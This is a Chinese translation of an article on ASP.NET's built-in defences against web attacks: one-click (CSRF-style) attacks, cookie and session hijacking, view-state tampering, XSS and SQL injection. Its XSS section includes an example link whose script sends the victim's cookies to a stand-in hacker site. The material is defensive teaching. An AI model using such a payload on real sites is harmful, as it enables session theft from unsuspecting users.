利用ASP.NET的內(nèi)置功能抵御Web攻擊
ASP.NET 開發(fā)人員應(yīng)當(dāng)始終堅(jiān)持的做法
如果您正在閱讀本文,可能就不需要再向您灌輸 Web 應(yīng)用程序中的安全性愈來愈重要這一事實(shí)了。您需要的可能是一些有關(guān)如何在 ASP.NET 應(yīng)用程序中實(shí)現(xiàn)安全性的實(shí)際建議。壞消息是,沒有任何開發(fā)平臺(tái) — 包括 ASP.NET在內(nèi) — 能夠保證一旦采用了該平臺(tái),您就能夠編寫百分百安全的代碼。誰要是這么說,一準(zhǔn)在撒謊。好消息是,就 ASP.NET 來說,ASP.NET,特別是版本 1.1 和即將發(fā)行的版本 2.0,集成了一些便于使用的內(nèi)置防御屏障。
光是應(yīng)用所有這些功能并不足以保護(hù) Web 應(yīng)用程序,使其免受任何可能和可預(yù)見的攻擊。但是,如果與其他防御技巧和安全策略相結(jié)合,內(nèi)置的 ASP.NET 功能將可以構(gòu)成一個(gè)強(qiáng)大的工具包,有助于確保應(yīng)用程序在安全的環(huán)境中運(yùn)行。
Web 安全性是各種因素的總和,是一種范圍遠(yuǎn)超單個(gè)應(yīng)用程序的策略的結(jié)果,這種策略涉及數(shù)據(jù)庫管理、網(wǎng)路配置,以及社會(huì)工程和 phishing。
本文的目的在于說明 ASP.NET 開發(fā)人員為了將安全標(biāo)準(zhǔn)保持到合理的高度,所應(yīng)始終堅(jiān)持的做法。這也就是安全性最主要的內(nèi)容:保持警惕,永不完全放松,讓壞人越來越難以發(fā)起黑客攻擊。
下面我們來看看 ASP.NET 提供了哪些可以簡化這項(xiàng)工作的功能。
返回頁首
威脅的來源
在表 1 中,我匯總了最常見的 Web 攻擊類型,以及應(yīng)用程序中可能導(dǎo)致這些攻擊得手的缺陷。
攻擊 攻擊的可能發(fā)起人
跨站點(diǎn)腳本 (XSS)
回顯到頁的不可信用戶輸入
SQL 注入
串連用戶輸入以形成 SQL 命令
會(huì)話劫持
會(huì)話 ID 猜測和失竊的會(huì)話 ID Cookie
一次單擊
通過腳本發(fā)送的未被察覺的 HTTP 張貼
隱藏域篡改
未檢查(且受信)的隱藏域被填充以敏感數(shù)據(jù)
表 1. 常見的 Web 攻擊
列表中顯現(xiàn)出來的關(guān)鍵性事實(shí)有哪些?在我看來,起碼有以下三點(diǎn):
◆無論您何時(shí)將何種用戶輸入插入瀏覽器的標(biāo)記中,您都潛在地將自己暴露在了代碼注入攻擊(任何 SQL 注入和 XSS 變種)之下。
◆必須以安全的方式實(shí)現(xiàn)數(shù)據(jù)庫訪問,就是說,應(yīng)當(dāng)為數(shù)據(jù)庫使用盡可能少的權(quán)限,并通過角色來劃分各個(gè)用戶的職責(zé)。
◆永遠(yuǎn)都不通過網(wǎng)絡(luò)發(fā)送敏感數(shù)據(jù)(更別說是明文了),并且必須以安全的方式將敏感數(shù)據(jù)存儲(chǔ)在服務(wù)器上。
有意思的是,上面的三點(diǎn)分別針對(duì)的是 Web 安全性的三個(gè)不同方面,而這三個(gè)方面結(jié)合起來,才是唯一的一種生成防攻擊、防篡改應(yīng)用程序的合理方式。Web 安全性的各個(gè)層面可以總結(jié)如下:
◆編碼實(shí)踐:數(shù)據(jù)驗(yàn)證、類型和緩沖區(qū)長度檢查,防篡改措施
◆數(shù)據(jù)訪問策略:使用決策來保護(hù)可能最弱的帳戶,使用存儲(chǔ)過程或者至少是參數(shù)化的命令。
◆有效的存儲(chǔ)和管理:不將關(guān)鍵性數(shù)據(jù)發(fā)送到客戶端,使用哈希代碼來檢測操作,對(duì)用戶進(jìn)行身份驗(yàn)證并保護(hù)標(biāo)識(shí),應(yīng)用嚴(yán)格的密碼策略
如您所看到的,只有可以通過開發(fā)人員、架構(gòu)師和管理員的共同努力,才可以產(chǎn)生安全的應(yīng)用程序。請(qǐng)不要假定您能夠以其他方式達(dá)到同樣目的。
編寫 ASP.NET 應(yīng)用程序時(shí),您并不是獨(dú)自面對(duì)黑客大軍:唯一的武器是通過自己的大腦、技能和手指鍵入的代碼行。ASP.NET 1.1 和更高版本都會(huì)施加援手,它們具有一些特定的功能,可以自動(dòng)提高防御以上列出的某些威脅的屏障。下面我們對(duì)它們進(jìn)行詳細(xì)的檢視。
ViewStateUserKey
從 ASP.NET 1.1 開始引入,ViewStateUserKey 是 Page 類的一個(gè)字符串屬性,只有很少數(shù)開發(fā)人員真正熟悉該屬性。為什么呢?讓我們看看文檔中是怎么說的。#p#
在與當(dāng)前頁相關(guān)聯(lián)的視圖狀態(tài)變量中將一個(gè)標(biāo)識(shí)符分配給單個(gè)用戶
除了有些累贅,這個(gè)句子的意思相當(dāng)清楚;但是,您能老老實(shí)實(shí)地告訴我,它說明了該屬性原本的用途嗎?要理解 ViewStateUserKey 的角色,您需要繼續(xù)往下讀,直到 Remarks 部分。
該屬性有助于防止一次單擊攻擊,因?yàn)樗峁┝烁郊拥妮斎胍詣?chuàng)建防止視圖狀態(tài)被篡改的哈希值。換句話說,ViewStateUserKey 使得黑客使用客戶端視圖狀態(tài)的內(nèi)容來準(zhǔn)備針對(duì)站點(diǎn)的惡意張貼困難了許多。可以為該屬性分配任何非空的字符串,但最好是會(huì)話 ID 或用戶的 ID。為了更好地理解這個(gè)屬性的重要性,下面我們簡短介紹一下一次單擊攻擊的基本知識(shí)。
一次單擊攻擊包括將惡意的 HTTP 表單張貼到已知的、易受攻擊的 Web 站點(diǎn)。之所以稱為“一次單擊”,是因?yàn)樗ǔJ且允芎φ卟唤?jīng)意的單擊通過電子郵件發(fā)送的或者在擁擠的論壇中瀏覽時(shí)發(fā)現(xiàn)的誘惑性鏈接而開始的。通過點(diǎn)擊該鏈接,用戶無意中觸發(fā)了一個(gè)遠(yuǎn)程進(jìn)程,最終導(dǎo)致將惡意的 <form> 提交到一個(gè)站點(diǎn)。大家都坦白些吧:您真能告訴我,您從未因?yàn)楹闷娑鴨螕暨^ Click here to win $1,000,000 這樣的鏈接嗎?顯然,并沒有什么糟糕的事情發(fā)生在您身上。讓我們假定的確是這樣的;您能說 Web 社區(qū)中的所有其他人都幸免于難了嗎?誰知道呢。
要想成功,一次單擊攻擊需要特定的背景條件:
◆攻擊者必須充分了解該有漏洞的站點(diǎn)。這是可能的,因?yàn)楣粽呖梢浴扒趭^地”研究該文件,或者他/她是一位憤怒的內(nèi)部人員(例如,被解雇而又不誠實(shí)的雇員)。因此,這種攻擊的后果可能是極其嚴(yán)重的。
◆站點(diǎn)必須是使用 Cookie(如果是持續(xù)性 Cookie,效果更好)來實(shí)現(xiàn)單次登錄,而攻擊者曾經(jīng)收到過有效的身份驗(yàn)證 cookie。
◆該站點(diǎn)的某些用戶進(jìn)行了敏感的事務(wù)。
◆攻擊者必須能夠訪問目標(biāo)頁。
前已提及,攻擊包括將惡意的 HTTP 表單提交到等待表單的頁??梢酝浦擁搶⑹褂脧堎N來的數(shù)據(jù)執(zhí)行某些敏感操作。可想而知,攻擊者清楚地了解如何使用各個(gè)域,并可以想出一些虛假的值來達(dá)到他的目的。這通常是目標(biāo)特定的攻擊,而且由于它所建立的三角關(guān)系,很難追本溯源 — 即黑客誘使受害者單擊該黑客站點(diǎn)上的一個(gè)鏈接,而這又會(huì)導(dǎo)致惡意代碼被張貼到第三個(gè)站點(diǎn)。(請(qǐng)參閱圖 1。)
圖 1. 一次單擊攻擊
為什么是不抱懷疑的受害者?這是因?yàn)椋@種情況下,服務(wù)器日志中所顯示的發(fā)出惡意請(qǐng)求的 IP 地址,是該受害者的 IP 地址。如前所述,這種工具并不像“經(jīng)典”的 XSS 一樣常見(和易于發(fā)起);但是,它的性質(zhì)決定了它的后果可能是災(zāi)難性。如何應(yīng)對(duì)它?下面,我們審視一下這種攻擊在 ASP.NET 環(huán)境下的工作機(jī)理。
除非操作編碼在 Page_Load 事件中,否則 ASP.NET 頁根本不可能在回發(fā)事件之外執(zhí)行敏感代碼。要使回發(fā)事件發(fā)生,視圖狀態(tài)域是必需的。請(qǐng)牢記,ASP.NET 會(huì)檢查請(qǐng)求的回發(fā)狀態(tài),并根據(jù)是否存在 _VIEWSTATE 輸入域,相應(yīng)地設(shè)置 IsPostBack。因此,無論誰要向 ASP.NET 頁發(fā)送虛假請(qǐng)求,都必須提供一個(gè)有效的視圖狀態(tài)域。
一次單擊攻擊要想得手,黑客必須能夠訪問該頁。此時(shí),有遠(yuǎn)見的黑客會(huì)在本地保存該頁。這樣,他/她就可以訪問 _VIEWSTATE 域并使用該域,用舊的視圖狀態(tài)和其他域中的惡意值創(chuàng)建請(qǐng)求。問題是,這能行嗎?
為什么不能?如果攻擊者可以提供有效的身份驗(yàn)證 cookie,黑客就可以進(jìn)入,請(qǐng)求將被照常處理。服務(wù)器上根本不會(huì)檢查視圖狀態(tài)內(nèi)容(當(dāng) EnableViewStataMac 為 off 時(shí)),或者只會(huì)檢查是否被篡改過。默認(rèn)情況下,試圖狀態(tài)中沒有機(jī)制可以將該內(nèi)容與特定的用戶關(guān)聯(lián)起來。攻擊者可以輕松地重用所獲取的視圖狀態(tài),冒充另一個(gè)用戶合法地訪問該頁,以生成虛假請(qǐng)求。這正是 ViewStateUserKey 介入的地方。
如果選擇準(zhǔn)確,該屬性可以將用戶特定的信息添加到視圖狀態(tài)。處理請(qǐng)求時(shí),ASP.NET 會(huì)從視圖狀態(tài)中提取秘鑰,并將其與正在運(yùn)行的頁的 ViewStateUserKey 進(jìn)行比較。如果兩者匹配,請(qǐng)求將被認(rèn)為是合法的;否則將引發(fā)異常。對(duì)于該屬性,什么值是有效的?
為所有用戶將 ViewStateUserKey 設(shè)置為常量字符串,相當(dāng)于將它保留為空。您必須將它設(shè)置為對(duì)各個(gè)用戶都不同的值 — 用戶 ID,會(huì)話 ID 更好些。由于一些技術(shù)和社會(huì)原因,會(huì)話 ID 更為合適,因?yàn)闀?huì)話 ID 不可預(yù)測,會(huì)超時(shí)失效,并且對(duì)于每個(gè)用戶都是不同的。
以下是一些在您的所有頁中都必不可少的代碼:
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : } |
為了避免重復(fù)編寫這些代碼,您可以將它們固定在從 Page 派生的類的 OnInit 虛擬方法中。(請(qǐng)注意,您必須在 Page.Init 事件中設(shè)置此屬性。)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; } |
總體說來,使用基 page 類始終都不失為一件好事,我在 Build Your ASP.NET Pages on a Richer Bedrock 一文中已經(jīng)進(jìn)行了說明。如果您要了解更多有關(guān)一次單擊攻擊者的伎倆的信息,可以在 aspnetpro.com 找到一篇非常好的文章。
Cookie 和身份驗(yàn)證
Cookie 之所以存在,是因?yàn)樗鼈兛梢詭椭_發(fā)人員達(dá)到一定目的。Cookie 充當(dāng)了瀏覽器與服務(wù)器之間的一種持續(xù)性鏈接。特別是對(duì)于使用單次登錄的應(yīng)用程序來說,失竊的 cookie 正是使得攻擊成為可能的罪魁禍?zhǔn)?。這對(duì)于一次單擊攻擊來說一點(diǎn)沒錯(cuò)。
要使用 Cookie,無需以編程方式顯式創(chuàng)建和讀取它們。如果您使用會(huì)話狀態(tài)且實(shí)現(xiàn)表單身份驗(yàn)證,您會(huì)隱式地使用 Cookie。當(dāng)然,ASP.NET 支持無 cookie 的會(huì)話狀態(tài),而且,ASP.NET 2.0 還引入了無 cookie 的表單身份驗(yàn)證。因此,理論上您可以在沒有 Cookie 的情況下使用這些功能。我并不是說您不再必須這么做了,但事實(shí)上這正是療法比疾病更糟的情形之一。無 Cookie 的會(huì)話,實(shí)際上將會(huì)話 ID 嵌入了 URL 中,這樣誰都可以看到。
與使用 Cookie 有關(guān)的潛在問題有哪些?Cookie 可能被盜(即被復(fù)制到黑客的計(jì)算機(jī))和投毒(即被填充以惡意數(shù)據(jù))。這些操作通常是即將發(fā)起的攻擊的前奏。如果被盜,Cookie 會(huì)“授權(quán)”外部用戶以您的名義連接到應(yīng)用程序(并使用受保護(hù)的頁),這可能使黑客輕松地規(guī)避授權(quán),并能夠執(zhí)行角色和安全設(shè)置所允許受害者執(zhí)行的任何操作。因此,身份驗(yàn)證 Cookie 通常被賦予相對(duì)較短的生存期,即 30 分鐘。(請(qǐng)注意,即使瀏覽器的會(huì)話完成所需的時(shí)間更長,cookie 仍會(huì)過期。)發(fā)生失竊時(shí),黑客有 30 分鐘的時(shí)限來嘗試攻擊。
可以將這個(gè)時(shí)限加長,以免用戶不得不過于頻繁地登錄;但請(qǐng)注意,這么做會(huì)將您自己置于危險(xiǎn)境地。任何情況下,都應(yīng)避免使用 ASP.NET 持續(xù)性 Cookie。它將導(dǎo)致 cookie 具有幾乎永久的生存期,最長可達(dá) 50 年!下面的代碼片段演示了如何輕松修改 cookie 的過期日期。
void OnLogin(object sender, EventArgs e) { // Check credentials if (ValidateUser(user, pswd)) { // Set the cookie's expiration date HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); // Add the cookie to the response Response.Cookies.Add(cookie); // Redirect string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } } |
您可以在自己的登錄表單中使用這些代碼來微調(diào)身份驗(yàn)證 Cookie 的生存期。#p#
會(huì)話劫持
Cookie 還被用于檢索特定用戶的會(huì)話狀態(tài)。會(huì)話的 ID 被存儲(chǔ)到 cookie 中,該 cookie 與請(qǐng)求一起來回傳送,存儲(chǔ)在瀏覽器的計(jì)算機(jī)上。同樣,如果失竊,會(huì)話 cookie 將可被用來使黑客進(jìn)入系統(tǒng)并訪問別人的會(huì)話狀態(tài)。不用說,只要指定的會(huì)話處于活動(dòng)狀態(tài)(通常不超 20 分鐘),這就有可能發(fā)生。通過冒充的會(huì)話狀態(tài)發(fā)起的攻擊稱為會(huì)話劫持。有關(guān)會(huì)話劫持的詳細(xì)信息,請(qǐng)閱讀 Theft On The Web: Prevent Session Hijacking。
這種攻擊有多危險(xiǎn)?很難講。這要取決于 Web 站點(diǎn)的功能,更為重要的是,該站點(diǎn)的頁是如何設(shè)計(jì)的。例如,假定您能夠獲得別人的會(huì)話 cookie,并將它附加到對(duì)站點(diǎn)上某個(gè)頁的請(qǐng)求中。您加載該頁并逐步研究它的普通用戶界面。除了該頁使用另一個(gè)用戶的會(huì)話狀態(tài)工作外,您無法將任何代碼注入該頁,也無法修改該頁中的任何內(nèi)容。這本身并不太壞,但是如果該會(huì)話中的信息是敏感和關(guān)鍵性的,就有可能直接導(dǎo)致黑客成功實(shí)現(xiàn)利用。黑客無法滲透到會(huì)話存儲(chǔ)的內(nèi)容中,但他可以使用其中存儲(chǔ)的信息,就像自己是合法進(jìn)入的一樣。例如,假定有這樣一個(gè)電子商務(wù)應(yīng)用程序,它的用戶在瀏覽站點(diǎn)時(shí)將物品添加到購物車中。
◆方案 1。 購物車的內(nèi)容存儲(chǔ)在會(huì)話狀態(tài)中。但是,在結(jié)帳時(shí),用戶被要求通過安全的 SSL 連接確認(rèn)和輸入付款詳細(xì)信息。這種情況下,通過接入其他用戶的會(huì)話狀態(tài),黑客僅可以了解到一些有關(guān)受害者的購物喜好的細(xì)節(jié)。在這種環(huán)境下劫持實(shí)際上并不會(huì)導(dǎo)致任何損害。受威脅的只是保密性。
◆方案 2。應(yīng)用程序?yàn)槊课蛔?cè)用戶處理一份檔案,并將檔案保存在會(huì)話狀態(tài)中。糟糕的是,檔案中(可能)包括信用卡信息。為什么要將用戶檔案詳細(xì)信息存儲(chǔ)到會(huì)話中?可能應(yīng)用程序的其中一個(gè)目標(biāo)是,從根本上避免使用戶不得不重復(fù)鍵入自己的信用卡和銀行信息。因此,在結(jié)算時(shí),應(yīng)用程序會(huì)將用戶定位到一個(gè)具有預(yù)先填充的域的頁。而有失謹(jǐn)慎的是,這些域的其中一個(gè)是從會(huì)話狀態(tài)中獲取的信用卡號(hào)?,F(xiàn)在您可以猜到故事的結(jié)局了嗎?
應(yīng)用程序的頁的設(shè)計(jì),是防止會(huì)話劫持攻擊的關(guān)鍵所在。當(dāng)然,還有兩點(diǎn)沒有理清。第一點(diǎn)是,如何防止 cookie 盜竊?第二點(diǎn)是,ASP.NET 可以如何檢測和阻止劫持?
ASP.NET 會(huì)話 cookie 極其簡單,僅限于包含會(huì)話 ID 字符串本身。ASP.NET 運(yùn)行庫從 cookie 中提取會(huì)話 ID,并將其與活動(dòng)的會(huì)話進(jìn)行比較。如果 ID 有效,ASP.NET 將連接到對(duì)應(yīng)的會(huì)話并繼續(xù)。這種行為極大地方便了已經(jīng)偷到或者可以猜出有效的會(huì)話 ID 的黑客。
XSS 和中間人 (man-in-the-middle) 攻擊以及對(duì)客戶端 PC 的強(qiáng)力訪問,都是獲取有效 cookie 的方法。為了防止盜竊,您應(yīng)當(dāng)實(shí)現(xiàn)安全最佳實(shí)踐來防止 XSS 及其各變種得手。
而為了防止會(huì)話 ID 猜測,您應(yīng)當(dāng)干脆避免太高估計(jì)自己的技能。猜測會(huì)話 ID 意味著您知道如何預(yù)測有效的會(huì)話 ID 字符串。對(duì)于 ASP.NET 所使用的算法(15 個(gè)隨機(jī)數(shù)字,映射為啟用 URL 的字符),隨機(jī)猜測到有效 ID 的概率接近于零。我想不到任何理由來用自己的會(huì)話 ID 生成器替換默認(rèn)的會(huì)話 ID 生成器。許多情況下,這么做只會(huì)為攻擊者提供方便。
會(huì)話劫持更為糟糕的后果是一旦 cookie 被盜或者被猜出,ASP.NET 并沒有什么辦法來檢測欺詐性的 cookie 使用。同樣,原因是 ASP.NET 將自己限制為檢查 ID 的有效性,以及 cookie 的來源地。
我在 Wintellect 的朋友 Jeff Prosise 為 MSDN Magazine 寫了一篇很好的關(guān)于會(huì)話劫持的文章。他的結(jié)論并不令人安慰:幾乎不可能建立能夠完全抵御依靠偷來的會(huì)話 ID Cookie 所發(fā)起的攻擊的防御工事。但是他開發(fā)的代碼為進(jìn)一步提升安全標(biāo)準(zhǔn)提供了非常明智的建議。Jeff 創(chuàng)建了一個(gè) HTTP 模塊,該模塊為會(huì)話 ID Cookie 監(jiān)視傳入的請(qǐng)求和傳出的響應(yīng)。該模塊將一條哈希代碼附加到會(huì)話 ID 之后,使攻擊者重用 cookie 更為困難。您可以在此處閱讀詳情。
EnableViewStateMac
視圖狀態(tài)用于在對(duì)同一個(gè)頁的兩個(gè)連續(xù)請(qǐng)求之間保持控件的狀態(tài)。默認(rèn)情況下,視圖狀態(tài)是 Base64 編碼的,并使用一個(gè)哈希值簽名,以防止篡改。除非更改默認(rèn)的頁設(shè)置,否則不可能篡改視圖狀態(tài)。如果攻擊者修改了視圖狀態(tài),甚至使用正確的算法重新生成了視圖狀態(tài),ASP.NET 都會(huì)捕獲這些嘗試并引發(fā)異常。視圖狀態(tài)被篡改并不一定有害,雖然它修改了服務(wù)器控件的狀態(tài) — 但可能成為造成嚴(yán)重感染的工具。因此,不 移除默認(rèn)情況下進(jìn)行的計(jì)算機(jī)身份驗(yàn)證代碼 (MAC) 交叉檢查就異常重要。請(qǐng)參閱圖 2。
圖 2. 啟用 EnableViewStateMac 時(shí),使視圖狀態(tài)本身難以篡改的因素
啟用了 MAC 檢查時(shí)(默認(rèn)情況),將對(duì)序列化的視圖狀態(tài)附加一個(gè)哈希值,該值是使用某些服務(wù)器端值和視圖狀態(tài)用戶秘鑰(如果有)生成的?;匕l(fā)視圖狀態(tài)時(shí),將使用新的服務(wù)器端值重新計(jì)算該哈希值,并將其與存儲(chǔ)的值進(jìn)行比較。如果兩者匹配,則允許請(qǐng)求;否則將引發(fā)異常。即使假設(shè)黑客具有破解和重新生成視圖狀態(tài)的能力,他/她仍需要知道服務(wù)器存儲(chǔ)的值才可以得出有效的哈希。具體說來,該黑客需要知道 machine.config 的 <machineKey> 項(xiàng)中引用的計(jì)算機(jī)秘鑰。
默認(rèn)情況下, 項(xiàng)是自動(dòng)生成的,以物理方式存儲(chǔ)在 Windows Local Security Authority (LSA) 中。僅在 Web 場(此時(shí)視圖狀態(tài)的計(jì)算機(jī)秘鑰必須在所有的計(jì)算機(jī)上都相同)的情形下,您才應(yīng)當(dāng)在 machine.config 文件中將其指定為明文。
視圖狀態(tài) MAC 檢查是通過一個(gè)名為 EnableViewStateMac 的 @Page 指令屬性控制的。如前所述,默認(rèn)情況下,它被設(shè)置為 true。請(qǐng)永遠(yuǎn)不要禁用它;否則將會(huì)使視圖狀態(tài)篡改一次單擊攻擊成為可能,并具有很高的成功概率。
跨站點(diǎn)腳本 (XSS) 對(duì)于很多經(jīng)驗(yàn)豐富的 Web 開發(fā)人員來說是老朋友了,它在 1999 年左右就已經(jīng)出現(xiàn)了。簡單地說,XSS 利用代碼中的漏洞來將黑客的可執(zhí)行代碼引入另一個(gè)用戶的瀏覽器會(huì)話中。如果被執(zhí)行,注入的代碼可以執(zhí)行多種不同的操作 — 獲取 Cookie 并將一個(gè)副本上載到黑客控制的 Web 站點(diǎn),監(jiān)視用戶的 Web 會(huì)話并轉(zhuǎn)發(fā)數(shù)據(jù),修改被黑的頁的行為和外觀以使其提供錯(cuò)誤的信息,甚至使自己變?yōu)槌掷m(xù)性的,這樣用戶下一次返回該頁時(shí),欺詐代碼會(huì)再次運(yùn)行。請(qǐng)?jiān)?TechNet 文章 Cross-site Scripting Overview 中詳細(xì)閱讀有關(guān) XSS 攻擊的基礎(chǔ)知識(shí)。
代碼中的哪些漏洞導(dǎo)致 XSS 攻擊成為可能?
XSS 利用的是動(dòng)態(tài)生成 HTML 頁、但并不驗(yàn)證回顯到頁的輸入的 Web 應(yīng)用程序。這里的輸入 是指查詢字符串、Cookie 和表單域的內(nèi)容。如果這些內(nèi)容在未經(jīng)適當(dāng)性能檢查的情況下出現(xiàn)在網(wǎng)絡(luò)上,就存在黑客對(duì)其進(jìn)行操作以在客戶端瀏覽器中執(zhí)行惡意腳本的風(fēng)險(xiǎn)。(前面提到的一次單擊攻擊其實(shí)是 XSS 的一種新近變種。)典型的 XSS 攻擊會(huì)導(dǎo)致不抱懷疑的用戶點(diǎn)擊一條誘惑性鏈接,而該鏈接中嵌入了轉(zhuǎn)義的腳本代碼。欺詐代碼將被發(fā)送到一個(gè)存在漏洞且會(huì)毫不懷疑地輸出它的頁。以下是可能發(fā)生的情況的一個(gè)示例:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a> |
用戶單擊一個(gè)看上去明顯安全的鏈接,最終導(dǎo)致將一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先獲取用戶計(jì)算機(jī)上的所有 Cookie,然后將它們發(fā)送到黑客的 Web 站點(diǎn)。
請(qǐng)務(wù)必注意,XSS 不是一個(gè)特定于供應(yīng)商的問題,因此并不一定會(huì)利用 Internet Explorer 中的漏洞。它影響目前市場上的所有 Web 服務(wù)器和瀏覽器。更應(yīng)注意的是,沒有哪一個(gè)修補(bǔ)程序能夠修復(fù)這一問題。您完全可以保護(hù)自己的頁免受 XSS 攻擊,方法是應(yīng)用特定的措施和合理的編碼實(shí)踐。此外,請(qǐng)注意,攻擊者并不需要用戶單擊鏈接就可以發(fā)起攻擊。
要防御 XSS,您必須從根本上確定哪些輸入是有效的,然后拒絕所有其他輸入。您可以在一本書中讀到抵御 XSS 攻擊的詳細(xì)檢查表,該書在 Microsoft 屬于必讀范圍 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc。特別地,我建議您仔細(xì)閱讀第 13 章。
阻止陰險(xiǎn)的 XSS 攻擊的主要方法是向您的輸入(任何類型的輸入數(shù)據(jù))添加一個(gè)設(shè)計(jì)合理、有效的驗(yàn)證層。例如,某些情況下即使是原本無害的顏色(RGB 三色)也會(huì)將不受控制的腳本直接帶入頁中。
在 ASP.NET 1.1 中,@Page 指令上的 ValidateRequest 屬性被打開后,將檢查以確定用戶沒有在查詢字符串、Cookie 或表單域中發(fā)送有潛在危險(xiǎn)性的 HTML 標(biāo)記。如果檢測到這種情況,將引發(fā)異常并中止該請(qǐng)求。該屬性默認(rèn)情況下是打開的;您無需進(jìn)行任何操作就可以得到保護(hù)。如果您想允許 HTML 標(biāo)記通過,必須主動(dòng)禁用該屬性。
<%@ Page ValidateRequest="false" %> |
ValidateRequest不是 萬能的藥方,無法替代有效的驗(yàn)證層。請(qǐng)閱讀此處以獲取大量有關(guān)該功能的基礎(chǔ)原理的寶貴信息。它基本上通過應(yīng)用一個(gè)正則表達(dá)式來捕獲一些可能有害的序列。
注 ValidateRequest 功能原本是有缺陷的,因此您需要應(yīng)用一個(gè)修補(bǔ)程序它才能按預(yù)期工作。這樣的重要信息常常不為人們所注意。奇怪的是,我發(fā)現(xiàn)我的其中一臺(tái)計(jì)算機(jī)仍受該缺陷的影響。試試看!
沒有任何關(guān)閉 ValidateRequest 的理由。您可以禁用它,但必須有非常好的理由;其中一條這樣的理由可能是用戶需要能夠?qū)⒛承?HTML 張貼到站點(diǎn),以便得到更好的格式設(shè)置選項(xiàng)。這種情況下,您應(yīng)當(dāng)限制所允許的 HTML 標(biāo)記(<pre>、<b>、<i>、<p>、<br>、<hr>)的數(shù)目,并編寫一個(gè)正則表達(dá)式,以確保不會(huì)允許或接受任何其他內(nèi)容。#p#
以下是一些有助于防止 ASP.NET 遭受 XSS 攻擊的其他提示:
◆使用 HttpUtility.HtmlEncode 將危險(xiǎn)的符號(hào)轉(zhuǎn)換為它們的 HTML 表示形式。
◆使用雙引號(hào)而不是單引號(hào),這是因?yàn)?HTML 編碼僅轉(zhuǎn)義雙引號(hào)。
◆強(qiáng)制一個(gè)代碼頁以限制可以使用的字符數(shù)。
總之,使用但是不要完全信任 ValidateRequest 屬性,不要太過懶惰。花些時(shí)間,從根本上理解 XSS 這樣的安全威脅,并規(guī)劃以一個(gè)關(guān)鍵點(diǎn)為中心的防御策略:所有的用戶輸入都是危險(xiǎn)的。
數(shù)據(jù)庫角度
SQL 注入是另一種廣為人知的攻擊類型,它利用的是使用未篩選的用戶輸入來形成數(shù)據(jù)庫命令的應(yīng)用程序。如果應(yīng)用程序興高采烈地使用用戶鍵入表單域中的內(nèi)容來創(chuàng)建 SQL 命令字符串,就會(huì)將您暴露在這一風(fēng)險(xiǎn)下:惡意用戶只需訪問該頁并輸入欺詐參數(shù),就可以修改查詢的性質(zhì)。您可以在此處了解更多有關(guān) SQL 注入的信息。
要阻止 SQL 注入攻擊,有許多方法。以下介紹最常見的技巧。
◆確保用戶輸入屬于適當(dāng)?shù)念愋?,并遵循預(yù)期的模式(郵政編碼、身份證號(hào),電子郵件等)。如果預(yù)期來自文本框的數(shù)字,請(qǐng)?jiān)谟脩糨斎霟o法轉(zhuǎn)換為數(shù)字的內(nèi)容時(shí)阻止該請(qǐng)求。
◆使用參數(shù)化的查詢,使用存儲(chǔ)過程更好。
◆使用 SQL Server 權(quán)限來限制各個(gè)用戶可以對(duì)數(shù)據(jù)庫執(zhí)行的操作。例如,您可能需要禁用 xp_cmdshell 或者將該操作的權(quán)限僅限于管理員。
如果使用存儲(chǔ)過程,可以顯著降低發(fā)生這種攻擊的可能性。實(shí)際上,有了存儲(chǔ)過程,您就無需動(dòng)態(tài)地撰寫 SQL 字符串。此外,SQL Server 中將驗(yàn)證所有參數(shù)是否具有指定的類型。雖然光是這些并不是百分百安全的技巧,但是加上驗(yàn)證的話,將足以提高安全性。
更為重要的是,應(yīng)確保只有經(jīng)過授權(quán)的用戶才能夠執(zhí)行可能具有嚴(yán)重后果的操作,如刪除表。這要求認(rèn)真仔細(xì)地設(shè)計(jì)應(yīng)用程序的中間層。好的技巧(不光是為了安全性)應(yīng)把焦點(diǎn)集中在角色上。應(yīng)當(dāng)將用戶分組為各種角色,并為各個(gè)角色定義一個(gè)包含一組最少的權(quán)限的帳戶。
幾周前,Wintellect Web 站點(diǎn)受到一種很復(fù)雜的 SQL 注入的攻擊。那位黑客試圖創(chuàng)建并啟動(dòng)一個(gè) FTP 腳本來下載一個(gè)可能是惡意的可執(zhí)行程序。幸運(yùn)的是,這次攻擊失敗了?;蛘?,其實(shí)是強(qiáng)用戶驗(yàn)證,使用存儲(chǔ)過程和使用 SQL Server 權(quán)限,導(dǎo)致了攻擊未能成功?
總而言之,您應(yīng)當(dāng)遵循這些指南,以避免被注入有害的 SQL 代碼:
◆使用盡可能少的權(quán)限運(yùn)行,永遠(yuǎn)不以“sa”身份執(zhí)行代碼。
◆將訪問限制給內(nèi)置的存儲(chǔ)過程。
◆首選使用 SQL 參數(shù)化查詢。
◆不通過字符串串連來生成語句,不回顯數(shù)據(jù)庫錯(cuò)誤。
返回頁首
隱藏域
在傳統(tǒng)的 ASP 中,隱藏域是唯一一種在請(qǐng)求之間保持?jǐn)?shù)據(jù)的方法。您需要在下一個(gè)請(qǐng)求中檢索的任何數(shù)據(jù)都被打包到隱藏的 <input> 域中,并執(zhí)行回程。如果有人在客戶端上修改了該域中存儲(chǔ)的值,會(huì)怎樣?只要文本是明文的,服務(wù)器端環(huán)境就無法測知這一情況。ASP.NET 中,頁和各個(gè)控件的 ViewState 屬性有兩個(gè)用途。一方面,ViewState 是跨請(qǐng)求保持狀態(tài)的方法;另一方面,ViewState 使您能夠在受保護(hù)的、不易篡改的隱藏域中存儲(chǔ)自定義值。
